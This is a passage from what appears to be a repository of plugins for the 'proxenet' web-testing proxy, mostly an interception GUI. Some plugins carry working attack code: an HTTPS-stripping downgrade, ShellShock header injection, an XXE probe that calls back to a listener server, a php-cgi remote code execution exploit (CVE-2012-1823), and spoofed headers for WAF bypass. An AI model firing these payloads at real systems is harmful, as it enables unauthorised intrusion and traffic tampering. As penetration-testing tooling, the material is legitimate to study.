├── 1DumpComments.py
├── 1DumpEmails.py
├── 1HttpsStrip.py
├── 3CheckDirectoryListing.py
├── 5ShellShock.rb
├── 5XxeReverseConnect.rb
├── 9AddHeadersForWafBypass.lua
├── 9CVE-2012-1823.py
├── 9Interceptor.py
├── 9LogReqRes.py
├── 9NoHardFeelingsBro.py
├── 9SeriouslyNoHardFeelings.rb
├── DumpReqRes.py
├── LICENSE
├── README.md
├── oPhishPoison.py
└── pimp.py
/1DumpComments.py:
--------------------------------------------------------------------------------
1 | """
2 | This script will dump all comments fields from intercepted HTML response.
3 |
4 | Note: no deflate/gzip decompression is performed here
5 | """
6 |
7 | __PLUGIN__ = "DumpComments"
8 | __AUTHOR__ = "@_hugsy_"
9 |
10 | def proxenet_request_hook(rid, request, uri):
11 | return request
12 |
13 | def proxenet_response_hook(rid, response, uri):
14 | comment_start_tag, comment_end_tag = ("")
15 | off = 0
16 | while True:
17 | i = response[off:].find(comment_start_tag)
18 | if i == -1:
19 | break
20 |
21 | n = response[off+i:].find(comment_end_tag)
22 | if n==-1:
23 | off += i + len(comment_start_tag)
24 | break
25 |
26 | print "Found comment in %d: %s" % (rid, response[off+i:off+i+n+3])
27 | off = off+i+n
28 |
29 | return response
30 |
--------------------------------------------------------------------------------
/1DumpEmails.py:
--------------------------------------------------------------------------------
1 | """
2 | This script will dump all emails in intercepted HTML response.
3 |
4 | Note: no deflate/gzip decompression is performed here
5 | """
6 |
7 | __PLUGIN__ = "DumpEmails"
8 | __AUTHOR__ = "@_hugsy_"
9 |
10 | import re
11 |
12 | def proxenet_request_hook(rid, request, uri):
13 | return request
14 |
15 | def proxenet_response_hook(rid, response, uri):
16 | patt = re.compile(r"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)")
17 | for email in patt.findall(response):
18 | print "Found email in %d: %s" % (rid, email)
19 |
20 | return response
21 |
--------------------------------------------------------------------------------
/1HttpsStrip.py:
--------------------------------------------------------------------------------
1 | """
2 | This plugin for proxenet will strip any HTTPS pattern
3 | in responses and automatically replace it with their
4 | HTTP equivalent.
5 | """
6 |
7 | AUTHOR = "hugsy"
8 | PLUGIN_NAME = "HttpsStrip"
9 |
10 |
11 | def proxenet_request_hook(request_id, request, uri):
12 | return request
13 |
14 | def proxenet_response_hook(response_id, response, uri):
15 | return response.replace("https://", " http://")
16 |
17 | if __name__ == "__main__":
18 | pass
19 |
--------------------------------------------------------------------------------
/3CheckDirectoryListing.py:
--------------------------------------------------------------------------------
1 | """
2 |
3 | proxenet plugin to automatically detect Directory Listing on all the web tree
4 | of a specific URL.
5 |
6 | """
7 |
8 | import urllib, urlparse, re
9 |
10 |
11 | AUTHOR = "hugsy"
12 | PLUGIN_NAME = "CheckDirectoryListing"
13 |
14 | ALREADY_VISITED_PATH = []
15 |
16 |
17 | def success(msg):
18 | print("\x1b[4m\x1b[1m\x1b[95m" + msg + "\x1b[0m")
19 | return
20 |
21 |
22 | def get_paths(uri):
23 | o = urlparse.urlparse(uri)
24 | if not hasattr(o, 'path') or len(o.path)==0 or not o.path.startswith("/"):
25 | return []
26 |
27 | host = "{}://{}".format(o.scheme, o.netloc)
28 | path = re.sub(r'[]/]{2,}', r'/', o.path)
29 | urls = []
30 | prefix = '/'
31 | for subpath in o.path.split("/"):
32 | if len(subpath)==0: continue
33 | prefix += subpath + '/'
34 | if prefix not in urls:
35 | urls.append(host + prefix)
36 | return urls
37 |
38 |
39 | def scan_dirlist(path):
40 | PATTERNS = ["Parent Directory", "Last modified", "Index Of",
41 | "Description", "Name", "Size", "Apache/", "../"]
42 | match = 0
43 | success_ratio = 0.70
44 |
45 | try:
46 | f = urllib.urlopen(path)
47 | text = f.read()
48 |
49 | for patt in PATTERNS:
50 | if patt in text:
51 | match += 1
52 |
53 | ratio = float(match)/len(PATTERNS)
54 |
55 | if (success_ratio/2) < ratio < success_ratio:
56 | success( "[+] Directory listing on '%s' (LIKELY)" % path )
57 | elif ratio >= success_ratio:
58 | success( "[+] Directory listing on '%s'" % path )
59 |
60 | except Exception as e:
61 | pass
62 |
63 | return
64 |
65 |
66 | def proxenet_request_hook(request_id, request, uri):
67 | global ALREADY_VISITED_PATH
68 |
69 | for url in get_paths(uri):
70 | if url in ALREADY_VISITED_PATH:
71 | continue
72 |
73 | scan_dirlist(url)
74 | ALREADY_VISITED_PATH.append( url )
75 |
76 | return request
77 |
78 |
79 | def proxenet_response_hook(response_id, response, uri):
80 | return response
81 |
82 |
83 | if __name__ == "__main__":
84 | rid = 1337
85 | target = "192.168.56.102:80"
86 | path = "/blah/blih//plop//////balhhe?foobar"
87 | uri = "http://{:s}{:s}".format(target, path)
88 | req = "GET {:s} HTTP/1.1\r\n".format(path)
89 | req+= "Host: {:s}\r\n".format(target)
90 | req+= "X-Header: Powered by proxenet\r\n\r\n"
91 |
92 | proxenet_request_hook(rid, req, uri)
93 | exit(0)
94 |
--------------------------------------------------------------------------------
/5ShellShock.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 |
4 | require 'rubygems'
5 |
6 | # gem install unirest
7 | require 'unirest'
8 | # gem install http_parser.rb
9 | require 'http/parser'
10 |
11 |
12 | module ShellShock
13 |
14 | $PLUGIN_NAME = "ShellShock"
15 | $AUTHOR = "thorgul"
16 |
17 | $vuln_flag = "Vulnerable: yes"
18 | $vuln_trigger = '() { :;}; echo -e '
19 |
20 | module_function
21 |
22 | def shellshock_inject(uri, headers, targets)
23 | vulns = []
24 |
25 | targets.each do |k|
26 | inj_headers = headers.dup
27 | inj_headers[k] = "#{$vuln_trigger} '#{$vuln_flag}'"
28 |
29 | response = Unirest.get(uri, headers: inj_headers)
30 |
31 | if response.headers[:vulnerable] == "yes"
32 | vulns << k
33 | end
34 | end
35 |
36 | return vulns
37 | end
38 |
39 | def proxenet_request_hook(request_id, request, uri)
40 | puts "ShellShock"
41 |
42 | if uri.include? "/cgi-bin"
43 | # begin
44 | vulns = []
45 | parser = Http::Parser.new
46 | parser << request
47 |
48 | # puts uri
49 | headers = parser.headers.dup
50 | vulns << shellshock_inject(uri, headers, headers.keys)
51 |
52 | headers['This-is-a-random-parameter'] = 'blah'
53 | vulns << shellshock_inject(uri, headers, ['This-is-a-random-parameter'])
54 |
55 | vulns.flatten!
56 | if vulns.length > 0
57 | puts "#{File.basename __FILE__}: #{uri} parameters vulnerable to ShellShock:"
58 | vulns.each do |v|
59 | puts "#{File.basename __FILE__}: #{v}"
60 | end
61 | end
62 | end
63 | return request
64 | end
65 |
66 | def proxenet_response_hook(response_id, response, uri)
67 | return response
68 | end
69 |
70 | end
71 |
72 | if __FILE__ == $0
73 | proxenet_request_hook(ARGV[0], ARGV[1], ARGV[2])
74 | end
75 |
--------------------------------------------------------------------------------
/5XxeReverseConnect.rb:
--------------------------------------------------------------------------------
1 | require 'rubygems'
2 | require 'uri'
3 |
4 | # gem install http_parser.rb
5 | require 'http/parser'
6 | # gem install unirest
7 | require 'unirest'
8 |
9 | $ipaddr = "10.8.161.55" # get_default_ipv4_addr()
10 | $port = 3000
11 | $dir = "/tmp/proxenet-xxe-payload"
12 | $dtd_file = "pwn.dtd"
13 | $dtd_data = '' + "\n" +
14 | '\">\n" +
16 | '%p2;' + "\n"
17 |
18 | class String
19 |
20 | def base64_encode()
21 | [ self ].pack("m*")
22 | end
23 |
24 | end
25 |
26 | def setup_xxe_env()
27 | p = `ps aux | grep -v grep | grep 'ruby -rwebrick -e'`
28 | if p.nil? or p == ""
29 |
30 | # Dir.mkdir? $dir unless Dir.exist? $dir
31 |
32 | f = File.open($dir + "/" + $dtd_file, 'w')
33 | f.write("")
34 |
35 | pid = Process.fork
36 | if pid.nil? then
37 | exec "ruby -rwebrick -e\"include WEBrick
38 |
39 | callback = Proc.new do |req, res|
40 | unless req.nil?
41 | puts req.unparsed_uri[1..-1].unpack('m*')[0] + ' is vulnerable to XXE'
42 | end
43 | end
44 |
45 | s = HTTPServer.new(:BindAddress => '#{$ipaddr}',
46 | :Port => '#{$port}',
47 | :DocumentRoot => '#{$dir}',
48 | :AccessLog => [],
49 | :Logger => WEBrick::Log::new('/dev/null', 7),
50 | :RequestCallback => callback)
51 | trap('INT'){ s.shutdown }
52 | s.start\""
53 | else
54 | Process.detach(pid)
55 | end
56 |
57 |
58 | end
59 | end
60 |
61 | setup_xxe_env()
62 |
63 |
64 | module XxeReverseConnect
65 |
66 | $PLUGIN_NAME = "XxeReverseConnect"
67 | $AUTHOR = "thorgul"
68 |
69 | def proxenet_request_hook(request_id, request, uri)
70 | puts "XXE ReverseConnect"
71 | return request unless request.start_with? "POST"
72 |
73 | xml_payload = '' + "\n" +
74 | '' + "\n" +
78 | '&e1;'
79 |
80 | parser = Http::Parser.new
81 | parser << request
82 |
83 | headers = parser.headers.dup
84 | headers['Content-Length'] = xml_payload.length
85 | headers['Content-Type'] = "text/xml"
86 |
87 | begin
88 | Unirest.post(uri,
89 | headers: headers,
90 | parameters: xml_payload)
91 | rescue RuntimeError => e
92 | end
93 |
94 | return request
95 | end
96 |
97 | def proxenet_response_hook(response_id, response, uri)
98 | return response
99 | end
100 | end
101 |
102 | if __FILE__ == $0
103 | proxenet_request_hook(ARGV[0], ARGV[1], ARGV[2])
104 | end
105 |
--------------------------------------------------------------------------------
/9AddHeadersForWafBypass.lua:
--------------------------------------------------------------------------------
1 | AUTHOR = "hugsy"
2 | PLUGIN_NAME = "AddHeadersForWafBypass"
3 |
4 | function proxenet_on_load()
5 | end
6 |
7 | function proxenet_on_leave()
8 | end
9 |
10 | function proxenet_request_hook (request_id, request, uri)
11 | local CRLF = "\r\n"
12 | local header = "X-Originating-IP: 127.0.0.1" .. CRLF
13 | header = header .. "X-Forwarded-For: 127.0.0.1" .. CRLF
14 | header = header .. "X-Remote-IP: 127.0.0.1" .. CRLF
15 | header = header .. "X-Remote-Addr: 127.0.0.1"
16 |
17 | return string.gsub(request,
18 | CRLF .. CRLF,
19 | CRLF .. header .. CRLF..CRLF)
20 | end
21 |
22 | function proxenet_response_hook (response_id, response, uri)
23 | return response
24 | end
25 |
--------------------------------------------------------------------------------
/9CVE-2012-1823.py:
--------------------------------------------------------------------------------
1 | """
2 |
3 | proxenet test plugin for CVE-2012-1823 : php-cgi code execution
4 |
5 | The test is made a synchronous way, so it will block during the test
6 | A small cache is implemented never to retest a same host (ip:port) twice.
7 |
8 | """
9 |
10 | import sys, subprocess, urllib, urlparse, inspect
11 |
12 | AUTHOR = "hugsy"
13 | PLUGIN_NAME = "CVE-2012-1823"
14 |
15 | CMD = "uname -a"
16 | PATTERN_VALID = "Linux"
17 |
18 | ALREADY_TESTED_HOSTS = []
19 |
20 |
21 | def safe_spawn(uri):
22 | global ALREADY_TESTED_HOSTS
23 |
24 | base_url = get_base_url(uri)
25 | if base_url in ALREADY_TESTED_HOSTS:
26 | return None
27 |
28 | cmd = ["python2", inspect.getfile(inspect.currentframe()), uri]
29 | p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
30 | return p
31 |
32 |
33 | def try_cve_2012_1823(base_url):
34 | target_url = base_url + '?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
35 | post_data = """""".format(CMD)
36 | f = urllib.urlopen(target_url, data=post_data)
37 | response = f.read()
38 | return PATTERN_VALID in response
39 |
40 |
41 | def get_base_url(uri):
42 | blob = urlparse.urlparse( uri )
43 | return blob.scheme + "://" + blob.netloc + "/"
44 |
45 |
46 | def proxenet_request_hook(request_id, request, uri):
47 | global ALREADY_TESTED_HOSTS
48 |
49 | p = safe_spawn(uri)
50 | if p is None:
51 | return request
52 |
53 | retcode = p.wait()
54 | if retcode :
55 | print("\x1b[4m\x1b[1m\x1b[95m{} is vulnerable to CVE-2012-1823!!\x1b[0m".format(uri))
56 |
57 | ALREADY_TESTED_HOSTS.append( get_base_url(uri) )
58 | return request
59 |
60 |
61 | def proxenet_response_hook(response_id, response, uri):
62 | return response
63 |
64 |
65 | if __name__ == "__main__":
66 | if len(sys.argv) == 2:
67 | print sys.argv[1]
68 | exit(try_cve_2012_1823(sys.argv[1]))
69 |
70 | # for testing
71 | rid = 1337
72 | target = "192.168.56.102:80"
73 | uri = "http://{:s}/".format(target)
74 | req = "GET /blah/blah?foobar HTTP/1.1\r\n"
75 | req+= "Host: {:s}\r\n".format(target)
76 | req+= "X-Header: Powered by proxenet\r\n\r\n"
77 |
78 | proxenet_request_hook(rid, req, uri)
79 | exit(0)
80 |
--------------------------------------------------------------------------------
/9Interceptor.py:
--------------------------------------------------------------------------------
1 | """
2 | Lightweight interception plugin for proxenet by @_hugsy_.
3 | On top of simply intercepting the traffic, it can be
4 | used to save request as raw text or as Python script
5 | ready to replay.
6 | Also it can be used to prepare `patator` command, for
7 | file/argument fuzzing.
8 |
9 | It will automatically recognize specific body formats:
10 | * JSON
11 | * XML
12 |
13 | And also parse ASP.NET viewstate.
14 |
15 | To add/remove file extensions to white/black list for
16 | interception, edit the file from the CONFIG_FILE
17 | variable.
18 |
19 | Requires:
20 | - PyQt4
21 | """
22 |
23 | import sys, os, urlparse, json, subprocess, inspect, copy
24 | import socket, base64, pprint, urllib, ConfigParser
25 |
26 | try:
27 | from lxml import etree
28 | from PyQt4 import QtCore, QtGui
29 | from PyQt4.QtGui import *
30 | except ImportError as ie:
31 | print("Missing package: %s" % ie)
32 | exit(1)
33 |
34 |
35 | PLUGIN_NAME = "Interceptor"
36 | AUTHOR = "hugsy"
37 |
38 | CRLF = "\r\n"
39 | CONFIG_FILE = os.getenv("HOME") + "/.proxenet.ini"
40 | config = None
41 |
42 | WINDOW_SIZE = (960, 600)
43 |
44 |
45 | def error(msg):
46 | sys.stderr.write("\x1b[1m" + "\x1b[31m" + msg + "\x1b[0m\n")
47 | sys.stderr.flush()
48 | return
49 |
50 |
51 | class DoNotInterceptException(Exception):
52 | pass
53 |
54 |
55 | class OptionsView(QWidget):
56 | def __init__(self, parent):
57 | super(OptionsView, self).__init__()
58 | self.parent = parent
59 | self.setTabLayout()
60 | return
61 |
62 | def setTabLayout(self):
63 | lay = QVBoxLayout()
64 | l1 = QLabel()
65 | blacklist = config.get(PLUGIN_NAME, "__blacklisted")
66 | l1.setText("%d Blacklisted Extensions" % (len(blacklist)))
67 | te = QTextEdit()
68 | te.setFrameStyle(QFrame.Panel | QFrame.Plain)
69 | te.setDisabled(True)
70 | te.insertPlainText( "\n".join( blacklist ) )
71 | te.setFrameStyle(QFrame.Panel | QFrame.Plain)
72 | lay.addWidget(l1)
73 | lay.addWidget(te)
74 | self.setLayout(lay)
75 | return
76 |
77 |
78 | class ViewState:
79 | def __init__(self, b64):
80 | self.vs_b64 = b64
81 | self.vs_raw = base64.decodestring(self.vs_b64)
82 | self.vs_arr = self.parseViewstate()
83 | return
84 |
85 | def decodeViewstate(self, i=0, p=[]):
86 | def decodeAsInt(j,q):
87 | n = str( ord(vs[j+1]) )
88 | q.append( ("(%d)" % j, [(n, [])]), )
89 | return j+2
90 |
91 | def decodeAsString(j,t,q):
92 | l = ord(vs[j+1])
93 | s = vs[j+2 : j+2+l]
94 | q.append( ("<%s>(%d)"%(t,j), [(s, [])]), )
95 | return i+2+l
96 |
97 | def decodeAsArray(j,n,t,q):
98 | P = ("<%s>(%d)"%(t,j), )
99 | j = j+1
100 | for i in range(n):
101 | t = []
102 | j = self.decodeViewstate(j, t)
103 | P += (t,)
104 | q.append( P )
105 | return j
106 |
107 | vs = self.vs_raw[2:-20]
108 |
109 | if i >= len(vs):
110 | p.append( ("(%d)"%i, []), )
111 | return
112 |
113 | if vs[i] == '\x02':
114 | return decodeAsInt(i,p)
115 |
116 | elif vs[i] == '\x05':
117 | return decodeAsString(i, "SystemString", p)
118 |
119 | elif vs[i] == '\x1e':
120 | return decodeAsString(i, "SystemWebUiIndexedString", p)
121 |
122 | elif vs[i] == '\x64':
123 | p.append( ("(%d)"%i, []), )
124 | return i+1
125 |
126 | elif vs[i] == '\x0f':
127 | return decodeAsArray(i,2,"Pair",p)
128 |
129 | elif vs[i] == '\x10':
130 | return decodeAsArray(i,3,"Triple",p)
131 |
132 | elif vs[i] == '\x16':
133 | return decodeAsArray(i+1,ord(vs[i+1]),"ArrayList",p)
134 |
135 | #
136 | # TODO: check those types
137 | #
138 | # \x07 Double
139 | # \x15 SystemStringArray
140 | # \x18 HybridDictionary
141 | # \x1f SystemWebUiIndexedChar
142 | # \x28 ClassType
143 | # \x32 SerializedClass
144 | # \x3c IndexedArray
145 | # \x66 IntZero
146 | # \x67 BooleanTrue
147 | # \x68 BooleanFalse
148 | #
149 |
150 | p.append( ("(%d)"%(ord(vs[i]),i), []), )
151 | return i+1
152 |
153 | def parseViewstate(self):
154 | try:
155 | vs = []
156 | if not self.isValid(): raise Exception("ViewState is not a valid .NET ViewState")
157 | self.header = self.vs_raw[0:2]
158 | self.vs_hash = ":".join( [c.encode("hex") for c in self.vs_raw[-20:]] )
159 | self.decodeViewstate(i=0, p=vs)
160 | except Exception as e:
161 | print("VIEWSTATE decoding failed: %s" % e)
162 | vs = []
163 |
164 | return [ ("", vs),
165 | ("", [(self.vs_hash, [])]) ]
166 |
167 | def isValid(self):
168 | return self.vs_raw.startswith("\xff\x01")
169 |
170 |
171 | class AspViewstateInterceptView(QWidget):
172 | def __init__(self, parent):
173 | super(AspViewstateInterceptView, self).__init__()
174 | self.parent = parent
175 | self.data = self.getViewState()
176 | if self.data is None:
177 | self.viewstate = []
178 | else:
179 | self.viewstate = ViewState(self.data)
180 | self.setTabLayout()
181 | return
182 |
183 | def getViewState(self):
184 | body = self.parent.parent.body
185 | args = [x.split("=") for x in body.split("&")]
186 | for k,v in args:
187 | if k=="__VIEWSTATE": return urllib.unquote(v)
188 | return None
189 |
190 | def setTabLayout(self):
191 | vs = self.viewstate.vs_arr
192 | lay = QVBoxLayout()
193 | l1 = QLabel("ASP .NET ViewState tree")
194 | m = QStandardItemModel()
195 | self.addItems(m, vs)
196 | self.tv = QTreeView()
197 | self.tv.setFrameStyle(QFrame.Panel | QFrame.Plain)
198 | self.tv.setModel(m)
199 | m.setHorizontalHeaderLabels(["ViewState"])
200 | lay.addWidget(l1)
201 | lay.addWidget(self.tv)
202 | self.setLayout(lay)
203 | return
204 |
205 | def addItems(self, model, elements):
206 | for elt in elements:
207 | text = elt[0]
208 | children = elt[1:]
209 | item = QStandardItem(text)
210 | model.appendRow(item)
211 | if len(children):
212 | for child in children:
213 | self.addItems(item, child)
214 | return
215 |
216 |
217 | class XmlInterceptView(QWidget):
218 | def __init__(self, parent):
219 | super(XmlInterceptView, self).__init__()
220 | self.parent = parent
221 | self.setTabLayout()
222 | return
223 |
224 | def setTabLayout(self):
225 | lay = QVBoxLayout()
226 | self.xmll = QLabel()
227 | self.xmlf = QTextEdit()
228 | self.xmlf.setFrameStyle(QFrame.Panel | QFrame.Plain)
229 | self.xmlf.textChanged.connect( self.updateFields )
230 | self.xmlf.insertPlainText( self.parent.parent.body )
231 | lay.addWidget(self.xmll)
232 | lay.addWidget(self.xmlf)
233 | self.setLayout(lay)
234 | return
235 |
236 | def updateFields(self):
237 | p = QPalette()
238 |
239 | try:
240 | body = str( self.xmlf.toPlainText() )
241 | parser = etree.XMLParser(dtd_validation=False)
242 | root = etree.fromstring( body, parser )
243 | p.setColor( QPalette.Foreground, QtCore.Qt.darkYellow )
244 | self.xmll.setText("Content is valid XML")
245 | except etree.XMLSyntaxError:
246 | p.setColor( QPalette.Foreground, QtCore.Qt.darkRed )
247 | self.xmll.setText("Content is not valid XML")
248 | except Exception as e:
249 | p.setColor( QPalette.Foreground, QtCore.Qt.darkRed )
250 | self.xmll.setText("Could not check XML validity: %s" % e)
251 |
252 | self.xmll.setPalette(p)
253 | self.parent.parent.body = body
254 | return
255 |
256 | def showEvent(self, event):
257 | body = self.parent.parent.body
258 | self.xmlf.clear()
259 | self.xmlf.insertPlainText( body )
260 | return
261 |
262 |
263 | class JsonInterceptView(QWidget):
264 | def __init__(self, parent):
265 | super(JsonInterceptView, self).__init__()
266 | self.parent = parent
267 | self.setTabLayout()
268 | return
269 |
270 | def setTabLayout(self):
271 | lay = QVBoxLayout()
272 | self.jsonl = QLabel()
273 | self.jsonf = QTextEdit()
274 | self.jsonf.setFrameStyle(QFrame.Panel | QFrame.Plain)
275 | self.jsonf.textChanged.connect( self.updateFields )
276 | self.jsonf.insertPlainText( self.parent.parent.body )
277 | lay.addWidget(self.jsonl)
278 | lay.addWidget(self.jsonf)
279 | self.setLayout(lay)
280 | return
281 |
282 | def updateFields(self):
283 | p = QPalette()
284 |
285 | try:
286 | body = str( self.jsonf.toPlainText() )
287 | js = json.loads(body)
288 | p.setColor( QPalette.Foreground, QtCore.Qt.darkYellow )
289 | self.jsonl.setText("Content is valid JSON")
290 | except ValueError:
291 | p.setColor( QPalette.Foreground, QtCore.Qt.darkRed )
292 | self.jsonl.setText("Content is not valid JSON")
293 |
294 | self.jsonl.setPalette(p)
295 | self.parent.parent.body = body
296 | return
297 |
298 | def showEvent(self, event):
299 | body = self.parent.parent.body
300 | self.jsonf.clear()
301 | self.jsonf.insertPlainText( body )
302 | return
303 |
304 |
305 | class RawInterceptView(QWidget):
306 | def __init__(self, parent):
307 | super(RawInterceptView, self).__init__()
308 | self.parent = parent
309 | self.setTabLayout()
310 | return
311 |
312 | def updateBody(self):
313 | self.parent.parent.body = self.rawBodyTextField.toPlainText()
314 | return
315 |
316 | def setTabLayout(self):
317 | self.rawBodyTextField = QTextEdit( self.parent.parent.body )
318 | self.rawBodyTextField.textChanged.connect( self.updateBody )
319 | self.rawBodyTextField.setFrameStyle(QFrame.Panel | QFrame.Plain)
320 | tabLayout = QVBoxLayout()
321 | tabLabel = QLabel("This frame displays the body content as Raw")
322 | tabLayout.addWidget(tabLabel)
323 | tabLayout.addWidget( self.rawBodyTextField )
324 | self.setLayout(tabLayout)
325 | return
326 |
327 | def showEvent(self, event):
328 | body = self.parent.parent.body
329 | self.rawBodyTextField.clear()
330 | self.rawBodyTextField.insertPlainText( body )
331 | return
332 |
333 |
334 | class InterceptorMainWindow(QWidget):
335 | def __init__(self, parent):
336 | super(InterceptorMainWindow, self).__init__()
337 | self.parent = parent
338 | self.setTabs()
339 | self.setMainWindowLayout()
340 | return
341 |
342 | def updateHeaders(self):
343 | self.parent.headers = self.hdrEditField.toPlainText()
344 |
345 | def bounceRequest(self):
346 | body = str( self.parent.body )
347 | headers = self.updateContentLengthHeader() if self.do_updateClen else str(self.parent.headers)
348 | self.parent.data = "%s\n\n%s" % (headers, body)
349 | QApplication.quit()
350 | return
351 |
352 | def setTabs(self):
353 | self.tabs = QTabWidget()
354 | self.tabs.addTab( RawInterceptView(self), "Raw View" )
355 | self.tabs.addTab( JsonInterceptView(self), "JSON View" )
356 | self.tabs.addTab( XmlInterceptView(self), "XML View" )
357 | if "__VIEWSTATE=" in self.parent.body:
358 | self.tabs.addTab( AspViewstateInterceptView(self), "ViewState View" )
359 |
360 | self.tabs.addTab( OptionsView(self), "Options" )
361 | return
362 |
363 | def setMainWindowLayout(self):
364 | headerLayout = QVBoxLayout()
365 | lurl1 = QLabel("URL")
366 | lurl2 = QLabel("%s
" % ("darkgreen" if self.parent.uri.startswith("https") \
367 | else "darkred",
368 | self.parent.uri))
369 | lheaders = QLabel("Headers")
370 | self.hdrEditField = QTextEdit()
371 | self.hdrEditField.insertPlainText( self.parent.headers )
372 | self.hdrEditField.setFrameStyle(QFrame.Panel | QFrame.Plain)
373 | self.hdrEditField.textChanged.connect(self.updateHeaders )
374 | headerLayout.addWidget(lurl1)
375 | headerLayout.addWidget(lurl2)
376 | headerLayout.addWidget(lheaders)
377 | headerLayout.addWidget(self.hdrEditField)
378 |
379 | bodyLayout = QVBoxLayout()
380 | l2 = QLabel("Body")
381 | bodyLayout.addWidget(l2)
382 | bodyLayout.addWidget( self.tabs )
383 |
384 | btnLayout = QHBoxLayout()
385 | btnLayout.addStretch(1)
386 | cb = QCheckBox("Update 'Content-Length' header")
387 | cb.stateChanged.connect(self.updateContentLengthState)
388 | cb.toggle()
389 | bounceButton = QPushButton("Bounce")
390 | bounceButton.clicked.connect(self.bounceRequest)
391 | cancelButton = QPushButton("Cancel")
392 | cancelButton.clicked.connect(QApplication.quit)
393 | btnLayout.addWidget(cb)
394 | btnLayout.addWidget(cancelButton)
395 | btnLayout.addWidget(bounceButton)
396 |
397 | vbox = QVBoxLayout()
398 | vbox.addLayout(headerLayout)
399 | vbox.addLayout(bodyLayout)
400 | vbox.addLayout(btnLayout)
401 | self.setLayout(vbox)
402 | return
403 |
404 | def updateContentLengthState(self, state):
405 | self.do_updateClen = (state == QtCore.Qt.Checked)
406 | return
407 |
408 | def updateContentLengthHeader(self):
409 | headers = str(self.parent.headers).split("\n")
410 | clen = len(self.parent.body)
411 |
412 | for i in xrange(len(headers)):
413 | head = str(headers[i])
414 | if head.startswith("Content-Length"):
415 | headers.pop(i)
416 | headers.append("Content-Length: %d" % clen)
417 | return "\n".join(headers)
418 |
419 | return "\n".join(headers)
420 |
421 |
422 | class Interceptor(QMainWindow):
423 |
424 | def __init__(self, rid, uri, data):
425 | super(Interceptor, self).__init__()
426 | self.rid = rid
427 | self.uri = uri
428 | self.title = "Interceptor for proxenet: Request %d" % (rid,)
429 | self.data = data
430 |
431 | if config.has_option(PLUGIN_NAME, "blacklisted_extensions"):
432 | blacklist = config.get(PLUGIN_NAME, "blacklisted_extensions").split(" ")
433 | else:
434 | blacklist = []
435 |
436 | config.set(PLUGIN_NAME, "__blacklisted", blacklist)
437 |
438 | u = urlparse.urlparse(uri)
439 | if any( map(lambda x: u.path.endswith(x), blacklist) ):
440 | raise DoNotInterceptException()
441 |
442 | if not self.data.endswith("\n\n"):
443 | self.headers, self.body = self.data.split("\n\n")
444 | else:
445 | self.headers, self.body = self.data, ""
446 |
447 | self.intercept_shortcuts = { "SaveAsText" : ("Ctrl+S", "Save As Text file", self.writeTxtFile),
448 | "SaveAsPython" : ("Ctrl+P", "Save As Python script", self.writePyFile),
449 | "SaveAsRuby" : ("Ctrl+R", "Save As Ruby script", self.writeRbFile),
450 | "SaveAsPerl" : ("Ctrl+E", "Save As Perl script", self.writePlFile),
451 | "SaveAsCsrfPoc" : ("Ctrl+O", "Create a CSRF PoC from current request", self.writeCsrfPoc),
452 | "ActionPatator" : ("Ctrl+T", "Use 'patator' on the request", self.sendToPatator),
453 | "ActionSqlMap" : ("Ctrl+I", "Use 'sqlmap' on the request", self.sendToSqlMap),
454 | "ActionHelp" : ("Ctrl+H", "Show help", self.popupHelp),
455 | }
456 |
457 | self.setMainWindowProperty()
458 | self.setMainWindowMenuBar()
459 | self.setCentralWidget( InterceptorMainWindow( self ) )
460 | self.show()
461 | return
462 |
463 | def center(self):
464 | frameGm = self.frameGeometry()
465 | screen = QtGui.QApplication.desktop().screenNumber(QtGui.QApplication.desktop().cursor().pos())
466 | centerPoint = QtGui.QApplication.desktop().screenGeometry(screen).center()
467 | frameGm.moveCenter(centerPoint)
468 | self.move(frameGm.topLeft())
469 | return
470 |
471 | def setMainWindowProperty(self):
472 | self.resize(*WINDOW_SIZE)
473 | self.setFixedSize(*WINDOW_SIZE)
474 | self.setWindowTitle(self.title)
475 | self.center()
476 |
477 | if config.has_option(PLUGIN_NAME, "style"):
478 | qtlook = config.get(PLUGIN_NAME, "style")
479 | else:
480 | qtlook = "Cleanlooks"
481 | qApp.setStyle( qtlook )
482 | return
483 |
484 | def setMainWindowMenuBar(self):
485 | menubar = self.menuBar()
486 | fileMenu = menubar.addMenu('&Actions')
487 | for i in ["ActionHelp", "ActionSqlMap", "ActionPatator"]:
488 | code, desc, meth = self.intercept_shortcuts[i]
489 | action = QAction(QIcon(), desc, self)
490 | action.setShortcut(code)
491 | action.triggered.connect(meth)
492 | fileMenu.addAction(action)
493 |
494 | saveMenu = fileMenu.addMenu('Save As')
495 | for i in ["SaveAsText", "SaveAsPython", "SaveAsRuby", "SaveAsPerl", "SaveAsCsrfPoc"]:
496 | code, desc, meth = self.intercept_shortcuts[i]
497 | action = QAction(QIcon(), desc, self)
498 | action.setShortcut(code)
499 | action.triggered.connect(meth)
500 | saveMenu.addAction(action)
501 | return
502 |
503 | def popupHelp(self):
504 | title = "Shortcut definition"
505 | desc = "The following shortcuts are enabled:\n\n"
506 | for key in self.intercept_shortcuts.keys():
507 | sc, d = self.intercept_shortcuts[key][0],self.intercept_shortcuts[key][1]
508 | desc+= "* {} {}\n".format(sc, d)
509 | QtGui.QMessageBox.information(self, title, desc, QtGui.QMessageBox.Information)
510 | return
511 |
512 | def sendToGeneric(self, cmd, cmd_text, **kwargs):
513 | clip = QApplication.clipboard()
514 | clip.setText(cmd_text)
515 | title = kwargs.get("title", "Send to %s" % cmd)
516 | desc = kwargs.get("desc", "'%s' command successfully copied to clipboard!" % cmd)
517 | QtGui.QMessageBox.information(self, title, desc, QtGui.QMessageBox.Ok)
518 | return
519 |
520 | def sendToSqlMap(self):
521 | method = self.headers.split(" ")[0].replace('"', '\\"')
522 | headers = self.headers.split("\n")
523 | cmd = """sqlmap.py -u "{}" """.format(self.uri)
524 | cmd+= """--method="{}" """.format(method.replace('"', '\\"'))
525 | for h in headers[1:]:
526 | if len(h):
527 | cmd+= """--header="{}" """.format(h.replace('"', '\\"'))
528 | if self.body is not None and len(self.body) > 0:
529 | cmd+= """--data="{}" """.format(self.body.replace('"', '\\"'))
530 | self.sendToGeneric("sqlmap", cmd)
531 | return
532 |
533 | def sendToPatator(self):
534 | method = self.headers.split(" ")[0].replace('"', '\\"')
535 | headers = self.headers.split("\n")
536 |
537 | cmd = """patator http_fuzz url="{}" 0=/path/to/wordlist.txt """.format(self.uri)
